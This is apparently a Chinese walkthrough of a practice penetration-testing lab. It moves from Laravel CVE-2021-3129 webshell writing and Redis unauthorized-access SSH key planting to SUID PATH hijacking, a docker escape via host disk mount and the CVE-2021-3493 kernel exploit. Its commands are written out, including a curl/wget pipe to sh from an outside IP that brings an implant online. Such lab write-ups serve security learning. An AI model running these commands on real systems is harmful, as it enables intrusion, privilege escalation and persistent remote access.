# 前言

同一个实验室的朋友师傅打好了靶场环境,属实舒服的,直接蹭车!从 10 月 3 号打到了 10 月 5 号,打的酣畅淋漓。还是学到了很多。

# fscan

1、首先拿 fscan 开扫,发现 redis 和 laravel 的 cve

# laravel

2、我直接选择打 laravel
https://github.com/joshuavanderpoll/CVE-2021-3129.git (拿 flag)
https://github.com/ajisai-babu/CVE-2021-3129-exp (拿 shell)
我用的第二个,直接写马,可以正常访问,链接蚁剑

python CVE-2021-3129.py -u http://192.168.1.102:81/ --e

# vshell

3、准备上线 vshell,用了命令和传文件都不行,原来是不出网

# redis

再尝试另一种方法,redis 未授权访问
尝试了几种方法,发现写马,定时任务,主从复制都不行,只能写公钥
参考:
https://blog.csdn.net/q20010619/article/details/121912003

利用步骤:
1. 在攻击方生成一对 ssh key

ssh-keygen -t rsa
# 默认情况下,生成后在用户的家目录下的 .ssh 目录下

2. 将生成的公钥值写入目标服务器

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set crackit

//加上 \n\n 是为了不破坏 ssh public key
//crackit 是设置的 key,可随意指定

3. 连接目标,发现成功连接

$ redis-cli -h 192.168.1.100 -p 6379
192.168.1.100:6379> config set dir /root/.ssh/
OK
192.168.1.100:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.1.100:6379> config set dbfilename "authorized_keys"
OK
192.168.1.100:6379> save
OK

4. 通过 ssh 连接目标

ssh root@192.168.1.100 -i ~/.ssh/id_rsa
# 默认会使用 id_rsa 如果改过文件名则可以用 -i 参数来指定
# 使用 -p 参数指定连接端口默认为22

# redisEXP (一把梭)

./RedisEXP_linux_amd64 -r 192.168.1.102 -p 6379 -m ssh -u root -s /root/.ssh/id_rsa

# 我 redis 连接的是 192.168.1.100 出网,直接上线 vshell

(curl -fsSL -m180 117.50.196.44:8084/slt||wget -T180 -q 117.50.196.44:8084/slt)|sh

直接搭建代理,准备攻击 192.168.52.10 这台主机
### 代理搭建,还是利用 laravel 漏洞写马

# 蚁剑

直接蚁剑连接,不过要用 socks 代理,直接添加 exe

# suid 提权

一开始在蚁剑搞了好久,不成功,然后发现蚁剑本身有问题,操了
先尝试反弹到 192.168.52.10 的 ubantu,为什么不谈 192.168.1.100,因为两张网卡不通

还有一个坑,我试了很多端口,发现只有 1234,能连上,麻了。。。
不过最后还是连上了

继续在 ubantu 提权

cd /tmp

echo "/bin/bash" > ps

chmod 777 ps

echo $PATH

export PATH=/tmp:$PATH #将/tmp添加到环境变量中,并且先加载执行/tmp里的程序

cd /home/jobs

./shell

提权成功

# docker 逃逸

fdisk -l #查看磁盘文件
ls /dev #查看设备文件

发现三个磁盘文件和 N 个设备文件,将 /dev/sda1 挂载到自己创建的文件夹看是否有利用的数据

mkdir f  #创建名为f的文件夹
mount  /dev/sda1 f  #把sda1挂载到f
ls f

查看 home 文件时发现其中存在 ubuntu 用户,制作 ssh 公钥尝试连接

ssh-keygen -f f

chmod 600 f
这个要在 ubantu 操作

回到没有 bash 的 192.168.52.10,麻了,执行下面命令
注意:一定要 cd 进去 /f ,不然路径错误

cp -avx /f/home/ubuntu/.ssh/id_rsa.pub /f/home/ubuntu/.ssh/authorized_keys    #avx是将权限也一起复制

echo > /f/home/ubuntu/.ssh/authorized_keys #清空authorized_keys文件

echo 'f.pub文件的内容' > /f/home/ubuntu/.ssh/authorized_keys #将ssh秘钥写入authorized_keys文件

ssh -i f ubuntu@192.168.52.20

最后在 ubantu 执行 ssh -i f ubuntu@192.168.52.20 成功连接

# 内核提权 (CVE-2021-3493)

查看网卡,发现两个

exp: https://github.com/briskets/CVE-2021-3493
在 github 上复制 c 代码粘贴 1.c

cd /tmp

vim 1.c  #将下载的exp内容粘贴到该文件中

gcc 1.c -o 1 #编译exp

chmod +x 1

./1

成功提权

# 上线 msf

第一个上线了 192.168.52.10 但是第二个内网 192.168.52.20 上线不了